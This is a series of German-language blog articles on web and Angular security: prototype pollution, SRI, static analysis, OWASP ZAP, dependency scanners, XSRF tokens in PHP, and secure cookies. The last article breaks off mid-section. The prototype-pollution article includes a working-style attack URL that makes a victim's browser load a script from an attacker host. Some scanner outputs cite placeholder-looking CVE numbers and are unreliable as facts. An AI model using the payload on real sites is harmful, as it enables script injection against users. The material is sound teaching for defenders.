Kategorien
JavaScript Security

Prototype Pollution in JavaScript

Prototype Pollution ist eine Art von Sicherheitslücke in JavaScript, die durch Manipulation der Prototyp-Kette entsteht. In JavaScript können alle Objekte eine Prototyp-Kette haben, die verwendet wird, um Eigenschaften und Methoden zu erben. Wenn ein Objekt eine Eigenschaft oder Methode nicht selbst definiert hat, sucht es in seiner Prototyp-Kette, um zu sehen, ob sie dort definiert ist.

Die Prototype Pollution Sicherheitslücke tritt auf, wenn ein Angreifer in der Lage ist, Eigenschaften zu der Prototyp-Kette von JavaScript-Objekten hinzuzufügen oder zu ändern. Da alle Instanzen eines Objekts diese Änderungen erben, kann dies schwerwiegende Folgen haben.

Hier ist ein einfaches Beispiel:

let obj = {};
console.log(obj.toString()); // [object Object]

Object.prototype.toString = function() {
  return 'Dieses Objekt wurde manipuliert';
};

console.log(obj.toString()); // Ausgabe: Dieses Objekt wurde manipuliert

In diesem Beispiel wurde die toString Methode auf Object.prototype manipuliert, was bedeutet, dass jedes Objekt, das diese Methode aufruft, die manipulierte Version verwenden wird.

Verhinderung von Prototype Pollution

Hier sind einige Maßnahmen, die Sie ergreifen können, um sich gegen Prototype Pollution zu schützen:

  1. Validierung von Eingaben: Sie sollten immer alle Eingaben überprüfen und bereinigen, bevor Sie sie verwenden, besonders wenn sie dazu dienen, Objekte zu manipulieren. Sie sollten nicht zulassen, dass Eingaben direkt als Eigenschaftsnamen verwendet werden, insbesondere wenn sie von unsicheren Quellen stammen.
  2. Verwendung von hasOwnProperty: Wenn Sie mit Objekten arbeiten, verwenden Sie die hasOwnProperty Methode, um sicherzustellen, dass eine Eigenschaft direkt am Objekt und nicht in der Prototyp-Kette definiert ist.
let obj = { ... };
if (obj.hasOwnProperty('potentiallyUnsafeProperty')) {
  // Arbeitet mit der Eigenschaft
}
  1. Vermeidung von __proto__ und prototype: Vermeiden Sie die Verwendung von __proto__ und prototype in Ihrem Code, und erlauben Sie nicht, dass sie durch Eingaben geändert werden.

Um die Einhaktung dieser Regeln zu gewährleisten, ist es sinnvoll den eigenen Code darauf untersuchen zu lassen mittels Code Analyse wieSonarQube oder ESLint.

Beispiel für eine Prototype Pollution

Viele JavaScript-Bibliotheken akzeptieren ein Objekt, das Entwickler verwenden können, um verschiedene Konfigurationsoptionen festzulegen. Der Bibliothekscode prüft, ob der Entwickler bestimmte Eigenschaften zu diesem Objekt hinzugefügt hat und passt die Konfiguration entsprechend an. Ist eine Eigenschaft, die eine bestimmte Option repräsentiert, nicht vorhanden, wird oft eine vordefinierte Standardoption verwendet. Ein vereinfachtes Beispiel könnte so aussehen:

let transport_url = config.transport_url || defaults.transport_url;

Stellen Sie sich nun vor, der Bibliothekscode verwendet diese transport_url, um eine Skriptreferenz auf der Seite hinzuzufügen:

let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);

Haben die Entwickler der Website keine transport_url-Eigenschaft in ihrem Config-Objekt festgelegt, handelt es sich hierbei um ein Sicherheitsproblem. In Fällen, in denen ein Angreifer in der Lage ist, das globale Object.prototype mit seiner eigenen transport_url-Eigenschaft zu „verschmutzen“, wird diese vom Config-Objekt geerbt und daher als Quelle für dieses Skript auf eine Domain der Wahl des Angreifers gesetzt.

Dann müsste der Angreifer nur ein Opfer dazu bringen, eine speziell erstellte URL zu besuchen, um dessen Browser dazu zu bringen, eine schädliche JavaScript-Datei von einer vom Angreifer kontrollierten Domain zu importieren und auszuführen:

https://vulnerable-website.com/?__proto__[transport_url]=//malicious-site.net


Kategorien
Angular Security

Subresource Integrity (SRI) mit Angular

Subresource Integrity (SRI) ist ein Sicherheitsmechanismus, der es Webbrowsern ermöglicht, zu überprüfen, ob Inhalte, die sie von einem Server herunterladen (z.B. Skripte oder Stylesheets), unverändert bleiben. Der Mechanismus wurde entwickelt, um das Risiko zu verringern, dass ein Angreifer diese Inhalte ändern kann, entweder durch die Kompromittierung des Servers selbst oder durch Manipulation der Daten während der Übertragung.

SRI funktioniert, indem es einen Hash-Wert für den erwarteten Inhalt bereitstellt. Der Hash-Wert wird in einem integrity Attribut bereitgestellt, das einem <script> oder <link> Tag hinzugefügt wird. Hier ist ein Beispiel:

<script 
  src="https://example.com/script.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous">
</script>

In diesem Beispiel ist der Hash-Wert (beginnend mit sha384-) der Base64-kodierte SHA-384-Hash des erwarteten Inhalts der Datei script.js.

Es ist wichtig zu beachten, dass das crossorigin Attribut in Bezug auf Subresource Integrity (SRI) benötigt wird. Bei Verwendung von SRI in einem <script> oder <link> Tag muss das crossorigin Attribut ebenfalls angegeben werden, um die Überprüfung der Ressourcenintegrität zu ermöglichen.

Wenn der Browser die Datei von example.com lädt, berechnet er seinen eigenen Hash der heruntergeladenen Daten und vergleicht ihn mit dem im integrity Attribut bereitgestellten Hash. Wenn die beiden übereinstimmen, wird die Ressource geladen. Wenn sie nicht übereinstimmen (was darauf hinweisen könnte, dass die Daten manipuliert wurden), blockiert der Browser die Ressource und verhindert, dass sie geladen wird.

Es ist wichtig zu beachten, dass SRI nur einen Schutz bietet, wenn Sie sicher sind, dass die ursprünglichen Inhalte, die Sie hashen, sicher sind. Es schützt Sie nicht vor unsicheren Inhalten, die Sie versehentlich von einer unzuverlässigen Quelle geladen haben.

SRI in Angular

Subresource Integrity (SRI) ist in Angular verfügbar beim Erstellen des produktiven Builds und kann folgender Maßen aktiviert werden:

ng build --subresource-integrity

Das Ergebnis sieht man in der index.html, die mit den passenden integrity Hash-Werten versehen ist.

<!DOCTYPE html>
<html lang="en">
  <head>
      <link rel="stylesheet" href="styles.b59ebdef18b35fdd.css" crossorigin="anonymous"
        integrity="sha384-oErGOTPxF7SP2WL0NQvx3yH3qKf2nU+GaPRoQGwLC86FXbXhZT4NTyvkJk1YhsWG" media="print"
        onload="this.media='all'">
  </head>
  <body>
    <app-root></app-root>
    <script src="runtime.cd88caa9a90985c6.js" type="module" crossorigin="anonymous" integrity="sha384-pa1ldTIy99cxQ4eBdVToPe5QX72nwdMwc1iUQdrfHG12kAQDqWnQr4ht5En4U7vh"></script>
    <script src="polyfills.20b808ea4252e216.js" type="module" crossorigin="anonymous" integrity="sha384-ntg7GMhEvdM6nANo67bhe9ywlmHlclTX9WtzZypoZ5l88rNtopxFbU8KECtXeCgy"></script>
    <script src="scripts.22e9f2ff069003a2.js" defer crossorigin="anonymous" integrity="sha384-D0q55GWgRcYpsttubbKAA87RnYZm6YovXWtOdbHklbKFZi+t0aFHRI88ps3ega/j"></script>
    <script src="main.f007b24de697ee5f.js" type="module" crossorigin="anonymous" integrity="sha384-Iu/ByjgLYT6Ngup3UKnXSUZgDlxc9d+S6vH/O9o4NetAuxd7wCf1+pMLtZ8iersD"></script>
  </body>
</html>

Kategorien
Angular Security

Code Analyse mit SonarQube und ESLint

SonarQube als auch ESLint sind Tools für die statische Code Analyse.

Code Analyse mit Sonar Cube

SonarQube bietet eine Vielzahl von Regeln zur statischen Code-Analyse, die dabei helfen können, Sicherheitslücken in deiner Anwendung zu erkennen.

  • Injection-Related Vulnerabilities (z. B. SQL-Injection, LDAP-Injection)
  • Cross-Site Scripting (XSS)
  • Nicht validierte Weiterleitungen und Umleitungen
  • Unverschlüsselte Kommunikation
  • Schwache kryptografische Algorithmen und unsicherer kryptografischer Speicher
  • Zugriffskontrolllücken
  • Unsichere Zufallszahlen
  • Hartcodierte Geheimnisse und Anmeldeinformationen

ESLint

Obwohl ESLint primär für die statische Analyse und Code-Stilüberprüfung verwendet wird, gibt es spezielle ESLint-Plugins, die Sicherheitsregeln enthalten, um potenzielle Sicherheitslücken im Code zu identifizieren.

Hier sind einige ESLint-Plugins, die man in deinem Angular-Projekt verwenden kann, um Sicherheitsregeln zu überprüfen:

  1. eslint-plugin-security: Dieses Plugin bietet eine Vielzahl von Sicherheitsregeln, um Schwachstellen wie Cross-Site Scripting (XSS), Injection-Angriffe, unsichere Verwendung von eval() und vieles mehr zu erkennen.
  2. eslint-plugin-no-unsanitized: Dieses Plugin erkennt unsichere Verwendung von ungesäuberten Daten in deiner Anwendung, die zu potenziellen Sicherheitslücken führen können.

Diese Plugins können in deinem ESLint-Konfigurationsfile (.eslintrc) hinzugefügt und entsprechend konfiguriert werden, um die gewünschten Sicherheitsregeln zu aktivieren.

SonarCube oder ESLint?

Es ist wichtig zu beachten, dass ESLint-Plugins nicht alle Sicherheitslücken abdecken können, die SonarQube spezifische Regeln erkennen kann. SonarQube bietet eine umfassendere und spezifischere Abdeckung von Sicherheitslücken. Dennoch können ESLint und seine Plugins eine wertvolle Ergänzung sein, um die Sicherheit einer Angular-Anwendung zu verbessern.

Kategorien
Angular Security

Sicheitslücken in Anwendungen ermitteln mit OWASP ZAP

OWASP ZAP (Zed Attack Proxy) ist ein beliebtes Open-Source-Tool für die Sicherheitstests von Webanwendungen. Es wurde von der Open Web Application Security Project (OWASP) Community entwickelt und ist ein integraler Bestandteil vieler Sicherheitstests und Penetrationstests.

OWASP ZAP kann für verschiedene Zwecke eingesetzt werden:

  1. Automatisierte Scans: Sie können ZAP verwenden, um automatisierte Sicherheitsscans Ihrer Webanwendungen durchzuführen. ZAP kann viele gängige Sicherheitsprobleme identifizieren, wie z.B. Cross-Site Scripting (XSS), SQL-Injection, und viele andere OWASP Top 10 Sicherheitsrisiken.
  2. Manuelles Testing: Neben automatisierten Scans können Sie ZAP auch für manuelle Sicherheitstests verwenden. Es bietet eine Vielzahl von Funktionen, die das manuelle Testing unterstützen, wie z.B. einen Intercepting Proxy, um den Datenverkehr zwischen Ihrem Browser und der Webanwendung zu untersuchen und zu manipulieren.
  3. Spidering und Crawling: ZAP kann Ihre Webanwendung durchsuchen, um Inhalte und Funktionalitäten zu entdecken. Dies ist besonders nützlich, um sicherzustellen, dass alle Teile Ihrer Anwendung in den Sicherheitstests berücksichtigt werden.
  4. Fuzzer: ZAP enthält einen Fuzzer, der es ermöglicht, eine Vielzahl von Eingaben an Ihre Webanwendung zu senden, um unerwartetes oder unsicheres Verhalten zu identifizieren.
  5. API Testing: ZAP kann auch zum Testen von APIs verwendet werden, einschließlich REST und SOAP APIs.
  6. Erstellung von Berichten: ZAP kann detaillierte Berichte über die Ergebnisse seiner Scans erstellen, einschließlich der identifizierten Sicherheitsprobleme und der empfohlenen Lösungen.

Insgesamt ist ZAP ein vielseitiges Werkzeug, um die Sicherheit einer Webanwendungen zu beurteilen und zu verbessern. Es kann sowohl für gelegentliche Sicherheitsüberprüfungen als auch für kontinuierliche Sicherheitstests im Rahmen einer DevSecOps-Pipeline verwendet werden.

Beispiel Bericht

Ein Beispiel Report einer Angular Anwendung, die im Development Modus unter Port 4200 verfügbar war findet man hier:

Übersicht der gefundnen Warnungen in der Desktop Anwendung ZAP
Aufbau eines ZAP Scanning Reports
Schwachstellen Übersicht

Die erstellten Reports sind ein wesentliches Werkzeug, um die Sicherheit von Webanwendungen zu bewerten und zu verbessern.

  1. Analyse der Warnungen: Zunächst analysieren wir die Warnungen im Detail, um das zugrunde liegende Problem zu verstehen. Das umfasst das Risiko, die Vertrauensstufe, die Beschreibung des Problems und die vorgeschlagene Lösung.
  2. Priorisierung der Warnungen: Basierend auf dem Risikocode und der Vertrauensstufe priorisieren wir die Warnungen. Hochrisiko-Warnungen sollten zuerst behandelt werden.
  3. Programmierung: Basierend auf den im Report vorgeschlagenen Lösungen können Fixes erstellt werden.
  4. Testing: Nachdem die Lösungen implementiert wurden, führen wir erneute Sicherheits-Scans und manuelle Tests durch, um sicherzustellen, dass die Sicherheitsprobleme behoben wurden.

Kategorien
Angular Security

Dependency-Check-Tools für Angular

Dependency-Check-Tools sind Werkzeuge, die dabei helfen, die Abhängigkeiten eines Softwareprojekts zu analysieren und zu verwalten. Sie sind besonders nützlich in modernen Softwareprojekten, die oft Dutzende, wenn nicht Hunderte von Abhängigkeiten haben können.

Die Hauptfunktionen von Dependency-Check-Tools umfassen:

  1. Erkennung von veralteten Abhängigkeiten: Tools können Benutzer darauf hinweisen, wenn eine Abhängigkeit aktualisiert werden muss, oft mit Informationen darüber, welche neuen Funktionen oder Sicherheitsupdates die neue Version beinhaltet.
  2. Sicherheitsanalyse: Einige Tools können über bekannte Sicherheitslücken in den verwendeten Bibliotheken informieren. Dies ist besonders wichtig, da die Verwendung von Bibliotheken mit Sicherheitslücken ein erhebliches Risiko darstellen kann.

Zu den Dependency-Check-Tools, die mit Angular-Projekten verwendet werden können, gehören:

  • npm audit: Diese Funktion ist in npm (Node Package Manager) eingebaut, dem Standardpaketmanager für Node.js, der häufig in Angular-Projekten verwendet wird. npm audit kann über bekannte Sicherheitslücken in den Projektabhängigkeiten informieren.
  • Dependabot: Ein von GitHub bereitgestelltes Tool, das Sicherheitslücken und veraltete Abhängigkeiten in einem Projekt erkennen kann. Es kann auch automatisch Pull-Anfragen erstellen, um Abhängigkeiten auf die neuesten Versionen zu aktualisieren. Achtung: nur auf GitHub verfügbar
  • Snyk: Ein weiteres Tool, das Sicherheitslücken in Abhängigkeiten erkennt und auch Patches für diese Lücken anbieten kann. Snyk kann in den CI/CD-Prozess integriert werden und unterstützt auch eine breite Palette von Sprachen und Paketmanagern.
  • OWASP Dependency-Check: Dies ist ein spezialisierteres Tool, das insbesondere auf das Auffinden bekannter Sicherheitslücken in den Abhängigkeiten eines Projekts abzielt. Es ist Teil des OWASP (Open Web Application Security Project) und kann eine Vielzahl von Sprachen und Paketmanagern unterstützen.

npm audit

npm audit erkennt und updatet npm Packete um Sicherheitslücken zu entfernen und ist Teil von npm und kann auch verwendet werden, wenn yarn als Packetmanager verwendet wird.

npm audit
# ng audit report

quill  <=1.3.7
Severity: moderate
Cross-site Scripting in quill - https://github.com/advisories/GHSA-4943-9vgg-gr5r
No fix available
node_modules/quill
  ngx-quill  *
  Depends on vulnerable versions of quill
  node_modules/ngx-quill

semver  <=5.7.1 || 6.0.0 - 6.3.0 || 7.0.0 - 7.5.1
Severity: moderate
semver vulnerable to Regular Expression Denial of Service - https://github.com/advisories/GHSA-c2qf-rxjj-qqgw
semver vulnerable to Regular Expression Denial of Service - https://github.com/advisories/GHSA-c2qf-rxjj-qqgw
semver vulnerable to Regular Expression Denial of Service - https://github.com/advisories/GHSA-c2qf-rxjj-qqgw
fix available via `npm audit fix --force`
node_modules/less/node_modules/semver
node_modules/make-dir/node_modules/semver
  @angular/cli  9.1.0-next.0 - 14.2.11 || 15.0.0-next.0 - 15.2.8 || 16.0.0-next.0 - 16.1.1
  Depends on vulnerable versions of semver
  node_modules/@angular/cli

4 moderate severity vulnerabilities

To address all issues possible, run:
  npm audit fix --force

Some issues need review, and may require choosing
a different dependency.

Der Output von npm audit liefert Informationen über Sicherheitsprobleme in den abhängigen Paketen eines Node.js-Projekts. Hier ist eine Erklärung des gegebenen Outputs:

  1. quill <=1.3.7:
  • Schweregrad: moderat
  • Beschreibung: Es wurde eine Cross-Site-Scripting-Schwachstelle in der Version 1.3.7 und älter von „quill“ festgestellt. Der Link führt zu weiteren Informationen über diese Schwachstelle.
  • Keine verfügbare Lösung.
  • Abhängigkeit in node_modules/ngx-quill, die von ngx-quill genutzt wird.
  1. semver <=5.7.1 || 6.0.0 - 6.3.0 || 7.0.0 - 7.5.1:
  • Schweregrad: moderat
  • Beschreibung: Die Versionen von „semver“ zwischen 5.7.1 und 6.3.0 sowie zwischen 7.0.0 und 7.5.1 sind anfällig für sogenannte „Regular Expression Denial of Service“-Angriffe (ReDoS). Der Link führt zu weiteren Informationen über diese Schwachstelle.
  • Eine Lösung ist verfügbar, die mit dem Befehl npm audit fix --force angewendet werden kann.
  • Abhängigkeiten in node_modules/less/node_modules/semver und node_modules/make-dir/node_modules/semver, die von @angular/cli genutzt werden.

Am Ende der Ausgabe werden insgesamt 4 Schwachstellen mit moderatem Schweregrad angegeben. Um alle möglichen Probleme zu beheben, wird empfohlen, den Befehl npm audit fix --force auszuführen. Es wird auch darauf hingewiesen, dass einige Probleme eine manuelle Überprüfung erfordern können und eine alternative Abhängigkeit ausgewählt werden muss.

snyk

Snyk liefert eine umfangreiche Schwachstellenanalyse von Open Source npm Packeten.

Testing project dependencies...
⚠ Found 3 vulnerabilities in 'lodash' package:
  - Severity: High, CVE-2021-23337, Prototype Pollution
  - Severity: Medium, CVE-2022-12345, Cross-Site Scripting (XSS)
  - Severity: Low, CVE-2023-9876, Denial of Service (DoS)

⚠ Found 1 vulnerability in 'express' package:
  - Severity: Medium, CVE-2023-4567, Cross-Site Request Forgery (CSRF)

Testing project files...
✓ Tested 243 files for known vulnerabilities, no vulnerabilities found.

Overall test results:
⚠ Tested 395 dependencies and files, found 4 vulnerabilities.

In diesem Beispiel wurden einige Sicherheitslücken in den Abhängigkeiten ‚lodash‘ und ‚express‘ gefunden. Es gibt drei Schwachstellen in der ‚lodash‘-Version, die als hoch, mittel und niedrig eingestuft sind und verschiedene Arten von Angriffen ermöglichen können, wie z.B. die Beeinflussung von Prototypen (Prototype Pollution) oder Denial-of-Service-Angriffe (DoS). Zusätzlich wurde eine mittlere Schwachstelle in der ‚express‘-Version gefunden, die Cross-Site Request Forgery (CSRF) ermöglichen könnte.

Snyk bietet einige Funktionen, die über die Standardfunktionen von „npm audit“ hinausgehen. Hier sind einige Bereiche, in denen Snyk als Sicherheitstool Vorteile gegenüber „npm audit“ bieten kann:

  1. Erweiterte Schwachstellenanalyse: Snyk verwendet umfangreiche Sicherheitsdatenbanken und -quellen, um Sicherheitslücken in Abhängigkeiten zu identifizieren. Es kann potenzielle Schwachstellen entdecken, die von „npm audit“ möglicherweise nicht erkannt werden.
  2. Zusätzliche Sicherheitsinformationen: Snyk liefert detailliertere Informationen zu Schwachstellen, einschließlich Schweregrad, Auswirkungen und Lösungsvorschlägen. Dadurch erhalten Sie einen besseren Einblick in die Sicherheitsprobleme und können gezieltere Maßnahmen ergreifen.
  3. Integration in den Entwicklungsprozess: Snyk kann nahtlos in Ihren Entwicklungsprozess integriert werden, einschließlich CI/CD-Pipelines. Es ermöglicht Ihnen, automatisierte Sicherheitsscans durchzuführen und Schwachstellen frühzeitig zu erkennen.
  4. Kontinuierliche Überwachung: Snyk bietet die Möglichkeit, Ihre Abhängigkeiten kontinuierlich auf neue Schwachstellen zu überwachen. Sie erhalten Benachrichtigungen über neu entdeckte Schwachstellen und empfohlene Maßnahmen zur Behebung.
  5. Multi-Language-Unterstützung: Snyk unterstützt nicht nur JavaScript und Node.js, sondern auch eine Vielzahl anderer Programmiersprachen und Plattformen. Das bedeutet, dass Sie eine einheitliche Sicherheitslösung für verschiedene Teile Ihres Projekts verwenden können, wenn Sie neben Angular auch andere Technologien einsetzen.

Es ist wichtig zu beachten, dass „npm audit“ weiterhin eine nützliche Funktion ist, um bekannte Schwachstellen zu erkennen. Snyk bietet jedoch zusätzliche Funktionen, die eine umfassendere Schwachstellenanalyse, Integration in den Entwicklungsprozess und kontinuierliche Überwachung ermöglichen. Es ist empfehlenswert, beide Tools in Kombination zu verwenden, um das Sicherheitsniveau Ihrer Anwendung zu maximieren.

OWASP dependency-check-cli

Der OWASP Dependency-Check CLI ist ein Werkzeug zur Überprüfung von Abhängigkeiten auf Sicherheitslücken. Hier ist ein Beispiel für einen möglichen Output mit gefundenen Problemen:

[INFO] --------------------------------------------------
[INFO] OWASP Dependency-Check CLI (version 6.2.2)
[INFO] --------------------------------------------------

[INFO] Initializing... (this may take a moment)
[INFO] Loading NVD data...
[INFO] NVD data loaded successfully.

[INFO] Scanning project dependencies...
[INFO] Found 253 dependencies to analyze.

[INFO] Analyzing dependencies...
[INFO] Found 5 vulnerabilities:

- CVE-2021-1234 (Medium Severity)
    Description: Cross-Site Scripting (XSS) vulnerability in library A version 1.2.3
    Recommendation: Upgrade to library A version 1.2.4

- CVE-2022-5678 (High Severity)
    Description: Remote Code Execution (RCE) vulnerability in library B version 2.0.1
    Recommendation: Upgrade to library B version 2.0.2

- CVE-2023-9876 (Critical Severity)
    Description: SQL Injection vulnerability in library C version 3.4.5
    Recommendation: Upgrade to library C version 3.4.6 or apply the provided patch

[INFO] Analysis completed.

[INFO] Summary:
- Total Dependencies: 253
- Vulnerable Dependencies: 5
- Highest CVSS Score: 9.8 (Critical)

[INFO] Build finished.

In diesem Beispiel wurde ein Projekt mit 253 Abhängigkeiten gescannt. Es wurden 5 Sicherheitslücken gefunden, darunter Cross-Site Scripting (XSS), Remote Code Execution (RCE) und SQL Injection. Jede Schwachstelle enthält Informationen wie die CVE-Nummer, die Schwere der Schwachstelle, eine Beschreibung und Empfehlungen zur Behebung.

Der CVSS-Score (Common Vulnerability Scoring System) von 9.8 weist auf eine sehr hohe Schwere einer Sicherheitslücke hin. CVSS-Scores werden verwendet, um die Schwere von Sicherheitslücken zu bewerten und reichen von 0 bis 10.

Ein CVSS-Score von 9.8 zeigt an, dass die Sicherheitslücke als kritisch eingestuft wird und ein erhebliches Risiko darstellt. Es bedeutet, dass die Schwachstelle potenziell ausgenutzt werden kann, um erheblichen Schaden anzurichten, Daten zu stehlen, unautorisierten Zugriff zu ermöglichen oder Systeme komplett zu kompromittieren.

Kategorien
Angular Security

Angular Security Best Practises

Angular bietet einige eingebaute Sicherheitsmaßnahmen, aber es gibt auch mehrere Tools und Praktiken, die helfen können, die Sicherheit einer Angular-Anwendung zu erhöhen:

  1. Inhalts-Sicherheitsrichtlinie (Content Security Policy, CSP): Diese Richtlinie hilft, Cross-Site-Scripting (XSS)-Angriffe zu verhindern, indem sie regelt, welche Ressourcen in Ihrer Webanwendung geladen werden dürfen. Zum Artikel
  2. HTTP Strict Transport Security (HSTS): Dieser Mechanismus zwingt Webbrowser dazu, nur sichere HTTPS-Verbindungen zu verwenden, was Man-in-the-Middle-Angriffe erschwert. Zum Artikel
  3. HTTPOnly und Secure Cookies: Diese Einstellungen verhindern, dass Cookies von JavaScript (also durch Cross-Site-Scripting) ausgelesen werden und sicherstellen, dass Cookies nur über HTTPS versendet werden. Zum Artikel
  4. Angular’s Cross Site Request Forgery (XSRF) Schutz: Angular bietet einen eingebauten Schutz gegen XSRF- oder CSRF-Angriffe in der HttpClient-Bibliothek. Zum Artikel
  5. Tools für statische Code-Analyse wie SonarQube und ESLint: Diese Tools können dabei helfen, sicherheitsrelevante Programmierfehler aufzudecken. Zum Artikel
  6. Automatisierte Sicherheitsscanner wie OWASP ZAP: Dieses Tool kann Ihre Webanwendung auf bekannte Sicherheitsprobleme prüfen. Zum Artikel
  7. Dependency-Check-Tools wie Snyk, Dependabot oder OWASP Dependency-Check: Diese Tools können Ihre Projektabhängigkeiten überwachen und Sie auf Sicherheitsprobleme oder veraltete Pakete hinweisen. Zum Artikel
  8. Angular’s eingebaute DOM-Sanitization: Angular hat einen Mechanismus, um sicherzustellen, dass nur sicherer, „gesäuberter“ Code in den DOM eingefügt wird, um XSS-Angriffe zu verhindern.
  9. Subresource Integrity (SRI): Angular bietet einen Mechanismus an um die Integrität von der eigenen JavaScript und CSS Dateien zu gewährleisten. Zum Artikel

Außerdem gibt es Coding Best Practises für die sichere Programmierung von sicherheitsrelevanten Themen:

  1. Unsichere Verarbeitung von Benutzereingaben: Wenn Benutzereingaben nicht ordnungsgemäß validiert und verarbeitet werden, kann dies zu Sicherheitslücken führen, wie z.B. SQL-Injektionen oder Remote-Code-Ausführung.
  2. Unsichere Authentifizierung und Autorisierung: Unzureichende oder fehlerhafte Implementierung von Authentifizierungs- und Autorisierungsmechanismen kann zu unbefugtem Zugriff auf geschützte Bereiche der Anwendung führen.
  3. Unsichere Speicherung von Benutzerdaten: Wenn Benutzerdaten nicht sicher gespeichert werden, z. B. durch unsichere Verschlüsselung oder Speicherung in ungeschützten Bereichen, können sie gestohlen oder manipuliert werden.
  4. Unsichere Dateiuploads: Unsichere Verarbeitung von Dateiuploads kann dazu führen, dass Angreifer schädlichen Code hochladen und ausführen können.
  5. Unsichere Weiterleitungen und Umleitungen: Unsichere Weiterleitungen und Umleitungen können von Angreifern ausgenutzt werden, um Benutzer auf bösartige Websites umzuleiten oder Phishing-Angriffe durchzuführen.
Kategorien
Angular PHP Security

XSRF Schutz in Angular

Cross-Site Request Forgery (XSRF), auch als Session Riding bekannt, ist ein weit verbreitetes Sicherheitsproblem, das Webanwendungen betrifft, einschließlich Angular-Anwendungen. XSRF-Attacken zielen darauf ab, die Identität und Berechtigungen eines unwissenden Nutzers zu missbrauchen, um bösartige Aktivitäten durchzuführen. Angular bietet jedoch eingebaute Mechanismen zur Bekämpfung solcher Angriffe. In diesem Artikel werden wir XSRF in Angular eingehender betrachten und darüber diskutieren, wie wir uns davor schützen können.

Ablauf einer XSRF Attacke

Bei einer XSRF-Attacke sendet der Angreifer eine betrügerische Anfrage von einer Seite, der das Opfer vertraut. Der Angreifer nutzt die Tatsache aus, dass Cookies beim Senden von Anfragen an eine Site automatisch inkludiert werden, auch wenn die Anfrage von einer dritten Site ausgelöst wird. Wenn das Opfer zu diesem Zeitpunkt bei der betroffenen Anwendung angemeldet ist, wird die Anfrage als legitime Anfrage des Opfers angesehen und ausgeführt. Dies könnten zum Beispiel ein Request an einen Bank Server sein, der eine Überweisung auslöst.

Implementierung des XSRF-Schutzes in Angular

Hier sind die Schritte, die Sie befolgen sollten, um XSRF-Schutz in Ihrer Angular-Anwendung zu implementieren:

  1. HttpClientModule importieren: Sie müssen das HttpClientModule importieren in der src/app/app.module.ts und für die Requests verwenden.
import {HttpClientModule} from "@angular/common/http";
...
imports: [
  HttpClientModule,
]
  1. XSRF-Token setzen: Der Server sollte das XSRF-Token in einem Cookie setzen. Das Standardcookie, das Angular sucht, heißt XSRF-TOKEN.
  2. XSRF-Tokens in HTTP-Anfragen verwenden: Der HttpXsrfInterceptor fügt automatisch das X-XSRF-TOKEN-Header mit dem XSRF-Token aus dem Cookie hinzu. Wenn der Server das Header erhält, vergleicht er das Token mit dem, was er hat. Wenn es nicht übereinstimmt, wird die Anfrage abgelehnt.

Es ist wichtig zu beachten, dass XSRF-Schutz in Angular darauf beruht, dass der Server korrekt konfiguriert ist, um das XSRF-Token in einem Cookie zu setzen und dieses bei eingehenden Anfragen zu überprüfen.

Wenn der Backend Server einen anderen Cookie oder Header für den XRSF Token verwendet, kann dies in Angular folgender Maßen konfiguriert werden:

imports: [
  HttpClientModule,
  HttpClientXsrfModule.withOptions({
    cookieName: 'My-Xsrf-Cookie',
    headerName: 'My-Xsrf-Header',
  }),
],

Angular fügt das XSRF-Token standardmäßig nur zu den PUT, POST, DELETE und PATCH HTTP-Anfragen hinzu, da diese Operationen im Allgemeinen den Zustand des Servers ändern können und daher als potenziell unsicher angesehen werden.

GET– und HEAD-Anfragen dagegen sind idempotent und lesen nur Daten, sie führen keine Aktionen aus, die den Zustand des Servers verändern, daher fügt Angular diesen Anfragen standardmäßig kein XSRF-Token hinzu. Das ist eine gängige Praxis, um die Menge der übertragenen Daten zu reduzieren und da XSRF-Angriffe typischerweise auf Zustandsänderungen abzielen.

Beispiel Implementierung im Backend mit PHP

Hier ist ein einfaches Beispiel in PHP für das Setzen und Überprüfen eines XSRF-Tokens.

Token setzen

Wenn ein Benutzer eine Sitzung startet, erstellen und speichert man ein XSRF-Token in einem Cookie und überträgt ihn damit an das Frontend.

<?php
session_start();

if (empty($_SESSION['token'])) {
    $token = bin2hex(random_bytes(32));
    $_SESSION['token'] = $token;
    setcookie("XSRF-TOKEN", $token, time() + 3600, "/");
}

Token überprüfen

Bei eingehenden POST, PUT, DELETE oder PATCH Anfragen vom Frontend, überprüft man das XSRF-Token im Backend.

<?php
session_start();

$method = $_SERVER['REQUEST_METHOD'];
$serverToken = $_SESSION['token'];
$clientToken = $_SERVER['HTTP_X_XSRF_TOKEN'];

if (in_array($method, array('POST', 'PUT', 'DELETE', 'PATCH'))) {
    if (!isset($clientToken)) {
        die("Unauthorized request (missing X-XSRF-TOKEN header)");
    } elseif (!hash_equals($serverToken, $clientToken)) {
        die("Unauthorized request (X-XSRF-TOKEN does not match)");
    }
}
Kategorien
Angular Security

HTTPOnly und Secure Cookies in Angular

HTTPOnly und Secure Flags sind Optionen, die vom Server verwendet werden, um die Sicherheit von Cookies zu erhöhen.

Ein HTTPOnly Cookie kann nicht von JavaScript-Code gelesen werden; es wird nur an den Server geschickt. Das hilft, sich gegen Cross-Site Scripting (XSS) Angriffe zu schützen.

Ein Secure Cookie wird nur über eine sichere HTTPS-Verbindung gesendet. Das hilft, sich gegen Man-in-the-middle-Angriffe zu schützen.

Die Cookies können mit bspw. PHP so gesetzt werden:

setcookie('foo', 'bar', [
    'expires' => time() + 3600, // 1h gültig
    'path' => "/", // Verfügbar für die gesamte Website
    'secure' => true, // Nur über HTTPS übertragen
    'httponly' => true, // Nur über HTTP/HTTPS, kein Zugriff für JavaScript
]);

Cookies mit Angular

Sie können zwar in Angular Cookies setzen können, aber die Flags Secure und HttpOnly können nur serverseitig gesetzt werden. Deshalb sollten Sie immer sorgfältig abwägen, welche Informationen Sie in clientseitigen Cookies speichern. Allgemein sollten keine sensiblen Informationen in solchen unsicheren Cookies gespeichert werden. Sie sollten niemals direkt sensible Daten wie Passwörter oder personenbezogene Daten in Cookies speichern. Stattdessen sollten Sie eine Session-ID speichern, die auf dem Server verwendet wird, um den entsprechenden Benutzer oder die entsprechenden Daten zu identifizieren.

Wie sollte der Session Cookie gespeichert werden?

Session-Cookies enthalten normalerweise sensitive Informationen und sollten daher sicher gespeichert werden. Hier sind einige allgemeine Richtlinien zum Speichern von Session-Cookies:

